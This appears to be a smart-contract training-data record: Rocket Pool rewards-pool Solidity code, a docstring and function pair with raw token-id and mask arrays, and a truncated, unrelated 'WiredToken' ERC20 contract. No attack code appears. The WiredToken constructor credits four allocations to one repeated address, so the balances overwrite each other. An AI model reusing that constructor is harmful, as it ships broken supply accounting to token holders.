getUint(keccak256(abi.encodePacked("rewards.pool.claim.contract.registered.time", _claimingContract, _claimerAddress))); } /** * Get whether this address can currently make a claim * @return bool Returns true if the _claimerAddress can make a claim */ function getClaimingContractUserCanClaim(string memory _claimingContract, address _claimerAddress) override public view returns(bool) { return _getClaimingContractUserCanClaim(_claimingContract, _claimerAddress, getClaimIntervalTime()); } function _getClaimingContractUserCanClaim(string memory _claimingContract, address _claimerAddress, uint256 _claimIntervalTime) private view returns(bool) { // Get the time they registered at uint256 registeredTime = getClaimingContractUserRegisteredTime(_claimingContract, _claimerAddress); // If it's 0 or hasn't passed one interval yet, they can't claim return registeredTime > 0 && registeredTime.add(_claimIntervalTime) <= block.timestamp && getClaimingContractPerc(_claimingContract) > 0 ? true : false; } /** * Get the number of claimers for the current interval per claiming contract * @return uint256 Returns number of claimers for the current interval per claiming contract */ function getClaimingContractUserTotalCurrent(string memory _claimingContract) override external view returns(uint256) { // Return the current interval amount if in that interval, if we are moving to the next one upon next claim, use that return getClaimIntervalsPassed() == 0 ? getUint(keccak256(abi.encodePacked("rewards.pool.claim.interval.claimers.total.current", _claimingContract))) : getClaimingContractUserTotalNext(_claimingContract); } /** * Get the number of claimers that will be added/removed on the next interval * @return uint256 Returns the number of claimers that will be added/removed on the next interval */ function getClaimingContractUserTotalNext(string memory _claimingContract) override public view returns(uint256) { return getUint(keccak256(abi.encodePacked("rewards.pool.claim.interval.claimers.total.next", _claimingContract))); } /** * Get contract claiming percentage last recorded * @return uint256 Returns the contract claiming percentage last recorded */ function getClaimingContractPercLast(string memory _claimingContract) override public view returns(uint256) { return getUint(keccak256(abi.encodePacked("rewards.pool.claim.interval.contract.perc.current", _claimingContract))); } /** * Get the approx amount of rewards available for this claim interval * @return uint256 Rewards amount for current claim interval */ function getClaimIntervalRewardsTotal() override public view returns(uint256) { // Get the RPL contract instance RocketTokenRPLInterface rplContract = RocketTokenRPLInterface(getContractAddress("rocketTokenRPL")); // Get the vault contract instance RocketVaultInterface rocketVault = RocketVaultInterface(getContractAddress("rocketVault")); // Rewards amount uint256 rewardsTotal = 0; // Is this the first claim of this interval? If so, calculate expected inflation RPL + any RPL already in the pool if(getClaimIntervalsPassed() > 0) { // Get the balance of tokens that will be transferred to the vault for this contract when the first claim is made // Also account for any RPL tokens already in the vault for the rewards pool rewardsTotal = rplContract.inflationCalculate().add(rocketVault.balanceOfToken("rocketRewardsPool", IERC20(getContractAddress("rocketTokenRPL")))); }else{ // Claims have already been made, lets retrieve rewards total stored on first claim of this interval rewardsTotal = getUint(keccak256("rewards.pool.claim.interval.total")); } // Done return rewardsTotal; } /** * Get the percentage this contract can claim in this interval * @return uint256 Rewards percentage this contract can claim in this interval */ function getClaimingContractPerc(string memory _claimingContract) override public view returns(uint256) { // Load contract RocketDAOProtocolSettingsRewardsInterface daoSettingsRewards = RocketDAOProtocolSettingsRewardsInterface(getContractAddress("rocketDAOProtocolSettingsRewards")); // Get the % amount allocated to this claim contract uint256 claimContractPerc = daoSettingsRewards.getRewardsClaimerPerc(_claimingContract); // Get the time the % was changed at, it will only use this % on the next interval if(daoSettingsRewards.getRewardsClaimerPercTimeUpdated(_claimingContract) > getClaimIntervalTimeStartComputed()) { // Ok so this percentage was set during this interval, we must use the current % assigned to the last claim and the new one will kick in the next interval // If this is 0, the contract hasn't made a claim yet and can only do so on the next interval claimContractPerc = getClaimingContractPercLast(_claimingContract); } // Done return claimContractPerc; } /** * Get the approx amount of rewards available for this claim interval per claiming contract * @return uint256 Rewards amount for current claim interval per claiming contract */ function getClaimingContractAllowance(string memory _claimingContract) override public view returns(uint256) { // Get the % amount this claim contract will get uint256 claimContractPerc = getClaimingContractPerc(_claimingContract); // How much rewards are available for this claim interval? uint256 claimIntervalRewardsTotal = getClaimIntervalRewardsTotal(); // How much this claiming contract is entitled to in perc uint256 contractClaimTotal = 0; // Check now if(claimContractPerc > 0 && claimIntervalRewardsTotal > 0) { // Calculate how much rewards this claimer will receive based on their claiming perc contractClaimTotal = claimContractPerc.mul(claimIntervalRewardsTotal).div(calcBase); } // Done return contractClaimTotal; } // How much this claimer is entitled to claim, checks parameters that claim() will check function getClaimAmount(string memory _claimingContract, address _claimerAddress, uint256 _claimerAmountPerc) override external view returns (uint256) { if (!getClaimingContractUserCanClaim(_claimingContract, _claimerAddress)) { return 0; } uint256 claimIntervalTimeStartComptued = getClaimIntervalTimeStartComputed(); uint256 claimingContractTotalClaimed = _getClaimingContractTotalClaimed(_claimingContract, claimIntervalTimeStartComptued); return _getClaimAmount(_claimingContract, _claimerAddress, _claimerAmountPerc, claimIntervalTimeStartComptued, claimingContractTotalClaimed); } function _getClaimAmount(string memory _claimingContract, address _claimerAddress, uint256 _claimerAmountPerc, uint256 _claimIntervalTimeStartComputed, uint256 _claimingContractTotalClaimed) private view returns (uint256) { // Get the total rewards available for this claiming contract uint256 contractClaimTotal = getClaimingContractAllowance(_claimingContract); // How much of the above that this claimer will receive uint256 claimerTotal = 0; // Are we good to proceed? if( contractClaimTotal > 0 && _claimerAmountPerc > 0 && _claimerAmountPerc <= 1 ether && _claimerAddress != address(0x0) && getClaimingContractEnabled(_claimingContract) && !getClaimingContractUserHasClaimed(_claimIntervalTimeStartComputed, _claimingContract, _claimerAddress)) { // Now calculate how much this claimer would receive claimerTotal = _claimerAmountPerc.mul(contractClaimTotal).div(calcBase); // Is it more than currently available + the amount claimed already for this claim interval? claimerTotal = claimerTotal.add(_claimingContractTotalClaimed) <= contractClaimTotal ? claimerTotal : 0; } // Done return claimerTotal; } // An account must be registered to claim from the rewards pool. They must wait one claim interval before they can collect. // Also keeps track of total function registerClaimer(address _claimerAddress, bool _enabled) override external onlyClaimContract { // The name of the claiming contract string memory contractName = getContractName(msg.sender); // Record the time they are registering at uint256 registeredTime = 0; // How many users are to be included in next interval uint256 claimersIntervalTotalUpdate = getClaimingContractUserTotalNext(contractName); // Ok register if(_enabled) { // Make sure they are not already registered require(getClaimingContractUserRegisteredTime(contractName, _claimerAddress) == 0, "Claimer is already registered"); // Update time registeredTime = block.timestamp; // Update the total registered claimers for next interval setUint(keccak256(abi.encodePacked("rewards.pool.claim.interval.claimers.total.next", contractName)), claimersIntervalTotalUpdate.add(1)); }else{ // Make sure they are already registered require(getClaimingContractUserRegisteredTime(contractName, _claimerAddress) != 0, "Claimer is not registered"); // Update the total registered claimers for next interval setUint(keccak256(abi.encodePacked("rewards.pool.claim.interval.claimers.total.next", contractName)), claimersIntervalTotalUpdate.sub(1)); } // Save the registered time setUint(keccak256(abi.encodePacked("rewards.pool.claim.contract.registered.time", contractName, _claimerAddress)), registeredTime); } // A claiming contract claiming for a user and the percentage of the rewards they are allowed to receive function claim(address _claimerAddress, address _toAddress, uint256 _claimerAmountPerc) override external onlyEnabledClaimContract { // The name of the claiming contract string memory contractName = getContractName(msg.sender); // Check to see if this registered claimer has waited one interval before collecting uint256 claimIntervalTime = getClaimIntervalTime(); require(_getClaimingContractUserCanClaim(contractName, _claimerAddress, claimIntervalTime), "Registered claimer is not registered to claim or has not waited one claim interval"); // RPL contract address address rplContractAddress = getContractAddress("rocketTokenRPL"); // RPL contract instance RocketTokenRPLInterface rplContract = RocketTokenRPLInterface(rplContractAddress); // Get the vault contract instance RocketVaultInterface rocketVault = RocketVaultInterface(getContractAddress("rocketVault")); // Get the start of the last claim interval as this may have just changed for a new interval beginning uint256 claimIntervalTimeStart = getClaimIntervalTimeStart(); uint256 claimIntervalTimeStartComputed = _getClaimIntervalTimeStartComputed(claimIntervalTimeStart, claimIntervalTime); uint256 claimIntervalsPassed = _getClaimIntervalsPassed(claimIntervalTimeStart, claimIntervalTime); // Is this the first claim of this interval? If so, set the rewards total for this interval if (claimIntervalsPassed > 0) { // Mint any new tokens from the RPL inflation rplContract.inflationMintTokens(); // Get how many tokens are in the reward pool to be available for this claim period setUint(keccak256("rewards.pool.claim.interval.total"), rocketVault.balanceOfToken("rocketRewardsPool", rplContract)); // Set this as the start of the new claim interval setUint(keccak256("rewards.pool.claim.interval.time.start"), claimIntervalTimeStartComputed); // Soon as we mint new tokens, send the DAO's share to it's claiming contract, then attempt to transfer them to the dao if possible uint256 daoClaimContractAllowance = getClaimingContractAllowance("rocketClaimDAO"); // Are we sending any? if (daoClaimContractAllowance > 0) { // Get the DAO claim contract address address daoClaimContractAddress = getContractAddress("rocketClaimDAO"); // Transfers the DAO's tokens to it's claiming contract from the rewards pool rocketVault.transferToken("rocketClaimDAO", rplContract, daoClaimContractAllowance); // Set the current claim percentage this contract is entitled to for this interval setUint(keccak256(abi.encodePacked("rewards.pool.claim.interval.contract.perc.current", "rocketClaimDAO")), getClaimingContractPerc("rocketClaimDAO")); // Store the total RPL rewards claim for this claiming contract in this interval setUint(keccak256(abi.encodePacked("rewards.pool.claim.interval.contract.total", claimIntervalTimeStartComputed, "rocketClaimDAO")), _getClaimingContractTotalClaimed("rocketClaimDAO", claimIntervalTimeStartComputed).add(daoClaimContractAllowance)); // Log it emit RPLTokensClaimed(daoClaimContractAddress, daoClaimContractAddress, daoClaimContractAllowance, block.timestamp); } } // Has anyone claimed from this contract so far in this interval? If not then set the interval settings for the contract if (_getClaimingContractTotalClaimed(contractName, claimIntervalTimeStartComputed) == 0) { // Get the amount allocated to this claim contract uint256 claimContractAllowance = getClaimingContractAllowance(contractName); // Make sure this is ok require(claimContractAllowance > 0, "Claiming contract must have an allowance of more than 0"); // Set the current claim percentage this contract is entitled too for this interval setUint(keccak256(abi.encodePacked("rewards.pool.claim.interval.contract.perc.current", contractName)), getClaimingContractPerc(contractName)); // Set the current claim allowance amount for this contract for this claim interval (if the claim amount is changed, it will kick in on the next interval) setUint(keccak256(abi.encodePacked("rewards.pool.claim.interval.contract.allowance", contractName)), claimContractAllowance); // Set the current amount of claimers for this interval setUint(keccak256(abi.encodePacked("rewards.pool.claim.interval.claimers.total.current", contractName)), getClaimingContractUserTotalNext(contractName)); } // Check if they have a valid claim amount uint256 claimingContractTotalClaimed = _getClaimingContractTotalClaimed(contractName, claimIntervalTimeStartComputed); uint256 claimAmount = _getClaimAmount(contractName, _claimerAddress, _claimerAmountPerc, claimIntervalTimeStartComputed, claimingContractTotalClaimed); // First initial checks require(claimAmount > 0, "Claimer is not entitled to tokens, they have already claimed in this interval or they are claiming more rewards than available to this claiming contract."); // Send tokens now rocketVault.withdrawToken(_toAddress, rplContract, claimAmount); // Store the claiming record for this interval and claiming contract setBool(keccak256(abi.encodePacked("rewards.pool.claim.interval.claimer.address", claimIntervalTimeStartComputed, contractName, _claimerAddress)), true); // Store the total RPL rewards claim for this claiming contract in this interval setUint(keccak256(abi.encodePacked("rewards.pool.claim.interval.contract.total", claimIntervalTimeStartComputed, contractName)), claimingContractTotalClaimed.add(claimAmount)); // Store the last time a claim was made setUint(keccak256("rewards.pool.claim.interval.time.last"), block.timestamp); // Log it emit RPLTokensClaimed(getContractAddress(contractName), _claimerAddress, claimAmount, block.timestamp); } } /** * . * / \ * |.'.| * |'.'| * ,'| |`. * |,-'-|-'-.| * __|_| | _ _ _____ _ * | ___ \| | | | | | ___ \ | | * | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | | * | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| | * | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | | * \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_| * +---------------------------------------------------+ * | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM | * +---------------------------------------------------+ * * Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to * be community-owned, decentralised, and trustless. * * For more information about Rocket Pool, visit https://rocketpool.net * * Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty * */ pragma solidity 0.7.6; // SPDX-License-Identifier: GPL-3.0-only interface RocketStorageInterface { // Deploy status function getDeployedStatus() external view returns (bool); // Guardian function getGuardian() external view returns(address); function setGuardian(address _newAddress) external; function confirmGuardian() external; // Getters function getAddress(bytes32 _key) external view returns (address); function getUint(bytes32 _key) external view returns (uint); function getString(bytes32 _key) external view returns (string memory); function getBytes(bytes32 _key) external view returns (bytes memory); function getBool(bytes32 _key) external view returns (bool); function getInt(bytes32 _key) external view returns (int); function getBytes32(bytes32 _key) external view returns (bytes32); // Setters function setAddress(bytes32 _key, address _value) external; function setUint(bytes32 _key, uint _value) external; function setString(bytes32 _key, string calldata _value) external; function setBytes(bytes32 _key, bytes calldata _value) external; function setBool(bytes32 _key, bool _value) external; function setInt(bytes32 _key, int _value) external; function setBytes32(bytes32 _key, bytes32 _value) external; // Deleters function deleteAddress(bytes32 _key) external; function deleteUint(bytes32 _key) external; function deleteString(bytes32 _key) external; function deleteBytes(bytes32 _key) external; function deleteBool(bytes32 _key) external; function deleteInt(bytes32 _key) external; function deleteBytes32(bytes32 _key) external; // Arithmetic function addUint(bytes32 _key, uint256 _amount) external; function subUint(bytes32 _key, uint256 _amount) external; // Protected storage function getNodeWithdrawalAddress(address _nodeAddress) external view returns (address); function getNodePendingWithdrawalAddress(address _nodeAddress) external view returns (address); function setWithdrawalAddress(address _nodeAddress, address _newWithdrawalAddress, bool _confirm) external; function confirmWithdrawalAddress(address _nodeAddress) external; } /** * . * / \ * |.'.| * |'.'| * ,'| |`. * |,-'-|-'-.| * __|_| | _ _ _____ _ * | ___ \| | | | | | ___ \ | | * | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | | * | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| | * | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | | * \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_| * +---------------------------------------------------+ * | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM | * +---------------------------------------------------+ * * Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to * be community-owned, decentralised, and trustless. * * For more information about Rocket Pool, visit https://rocketpool.net * * Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty * */ pragma solidity 0.7.6; // SPDX-License-Identifier: GPL-3.0-only import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol"; interface RocketVaultInterface { function balanceOf(string memory _networkContractName) external view returns (uint256); function depositEther() external payable; function withdrawEther(uint256 _amount) external; function depositToken(string memory _networkContractName, IERC20 _tokenAddress, uint256 _amount) external; function withdrawToken(address _withdrawalAddress, IERC20 _tokenAddress, uint256 _amount) external; function balanceOfToken(string memory _networkContractName, IERC20 _tokenAddress) external view returns (uint256); function transferToken(string memory _networkContractName, IERC20 _tokenAddress, uint256 _amount) external; function burnToken(ERC20Burnable _tokenAddress, uint256 _amount) external; } /** * . * / \ * |.'.| * |'.'| * ,'| |`. * |,-'-|-'-.| * __|_| | _ _ _____ _ * | ___ \| | | | | | ___ \ | | * | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | | * | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| | * | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | | * \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_| * +---------------------------------------------------+ * | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM | * +---------------------------------------------------+ * * Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to * be community-owned, decentralised, and trustless. * * For more information about Rocket Pool, visit https://rocketpool.net * * Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty * */ pragma solidity 0.7.6; // SPDX-License-Identifier: GPL-3.0-only interface RocketDAOProtocolSettingsRewardsInterface { function setSettingRewardsClaimer(string memory _contractName, uint256 _perc) external; function getRewardsClaimerPerc(string memory _contractName) external view returns (uint256); function getRewardsClaimerPercTimeUpdated(string memory _contractName) external view returns (uint256); function getRewardsClaimersPercTotal() external view returns (uint256); function getRewardsClaimIntervalTime() external view returns (uint256); } /** * . * / \ * |.'.| * |'.'| * ,'| |`. * |,-'-|-'-.| * __|_| | _ _ _____ _ * | ___ \| | | | | | ___ \ | | * | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | | * | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| | * | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | | * \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_| * +---------------------------------------------------+ * | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM | * +---------------------------------------------------+ * * Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to * be community-owned, decentralised, and trustless. * * For more information about Rocket Pool, visit https://rocketpool.net * * Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty * */ pragma solidity 0.7.6; // SPDX-License-Identifier: GPL-3.0-only interface RocketRewardsPoolInterface { function getRPLBalance() external view returns(uint256); function getClaimIntervalTimeStart() external view returns(uint256); function getClaimIntervalTimeStartComputed() external view returns(uint256); function getClaimIntervalsPassed() external view returns(uint256); function getClaimIntervalTime() external view returns(uint256); function getClaimTimeLastMade() external view returns(uint256); function getClaimIntervalRewardsTotal() external view returns(uint256); function getClaimingContractTotalClaimed(string memory _claimingContract) external view returns(uint256); function getClaimingContractUserTotalNext(string memory _claimingContract) external view returns(uint256); function getClaimingContractUserTotalCurrent(string memory _claimingContract) external view returns(uint256); function getClaimingContractUserHasClaimed(uint256 _claimIntervalStartTime, string memory _claimingContract, address _claimerAddress) external view returns(bool); function getClaimingContractUserCanClaim(string memory _claimingContract, address _claimerAddress) external view returns(bool); function getClaimingContractUserRegisteredTime(string memory _claimingContract, address _claimerAddress) external view returns(uint256); function getClaimingContractAllowance(string memory _claimingContract) external view returns(uint256); function getClaimingContractPerc(string memory _claimingContract) external view returns(uint256); function getClaimingContractPercLast(string memory _claimingContract) external view returns(uint256); function getClaimingContractExists(string memory _contractName) external view returns (bool); function getClaimingContractEnabled(string memory _contractName) external view returns (bool); function getClaimAmount(string memory _claimingContract, address _claimerAddress, uint256 _claimerAmountPerc) external view returns (uint256); function registerClaimer(address _claimerAddress, bool _enabled) external; function claim(address _claimerAddress, address _toAddress, uint256 _claimerAmount) external; } /** * . * / \ * |.'.| * |'.'| * ,'| |`. * |,-'-|-'-.| * __|_| | _ _ _____ _ * | ___ \| | | | | | ___ \ | | * | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | | * | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| | * | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | | * \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_| * +---------------------------------------------------+ * | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM | * +---------------------------------------------------+ * * Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to * be community-owned, decentralised, and trustless. * * For more information about Rocket Pool, visit https://rocketpool.net * * Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty * */ pragma solidity 0.7.6; // SPDX-License-Identifier: GPL-3.0-only import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface RocketTokenRPLInterface is IERC20 { function getInflationCalcTime() external view returns(uint256); function getInflationIntervalTime() external view returns(uint256); function getInflationIntervalRate() external view returns(uint256); function getInflationIntervalsPassed() external view returns(uint256); function getInflationIntervalStartTime() external view returns(uint256); function getInflationRewardsContractAddress() external view returns(address); function inflationCalculate() external view returns (uint256); function inflationMintTokens() external returns (uint256); function swapTokens(uint256 _amount) external; }
* Get the number of claimers that will be added/removed on the next interval @return uint256 Returns the number of claimers that will be added/removed on the next interval/
function getClaimingContractUserTotalNext(string memory _claimingContract) override public view returns(uint256) { return getUint(keccak256(abi.encodePacked("rewards.pool.claim.interval.claimers.total.next", _claimingContract))); }
12,064,633
[ 1, 967, 326, 1300, 434, 7516, 414, 716, 903, 506, 3096, 19, 14923, 603, 326, 1024, 3673, 327, 2254, 5034, 2860, 326, 1300, 434, 7516, 414, 716, 903, 506, 3096, 19, 14923, 603, 326, 1024, 3673, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 13674, 4581, 310, 8924, 1299, 5269, 2134, 12, 1080, 3778, 389, 14784, 310, 8924, 13, 3849, 1071, 1476, 1135, 12, 11890, 5034, 13, 288, 203, 3639, 327, 336, 5487, 12, 79, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 2932, 266, 6397, 18, 6011, 18, 14784, 18, 6624, 18, 14784, 414, 18, 4963, 18, 4285, 3113, 389, 14784, 310, 8924, 3719, 1769, 203, 565, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md contract ERC20Interface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title WiredToken * @author Tsuchinoko & NanJ people * @dev WiredToken is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ contract WiredToken is ERC20Interface, Ownable { using SafeMath for uint256; string constant public name = "WiredToken"; string constant public symbol = "WRD"; uint8 constant public decimals = 5; uint256 public totalSupply = 41e11 * 1e5; uint256 public distributeAmount = 0; bool public mintingFinished = false; address public founder = 0x01B7ECa9Af127aCbA03aB84E88B0e56132CFb62D; address public preSeasonGame = 0x01B7ECa9Af127aCbA03aB84E88B0e56132CFb62D; address public activityFunds = 0x01B7ECa9Af127aCbA03aB84E88B0e56132CFb62D; address public lockedFundsForthefuture = 0x01B7ECa9Af127aCbA03aB84E88B0e56132CFb62D; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ constructor() public { owner = activityFunds; balanceOf[founder] = totalSupply.mul(25).div(100); balanceOf[preSeasonGame] = totalSupply.mul(55).div(100); balanceOf[activityFunds] = totalSupply.mul(10).div(100); balanceOf[lockedFundsForthefuture] = totalSupply.mul(10).div(100); } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; emit FrozenFunds(targets[j], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; emit LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { 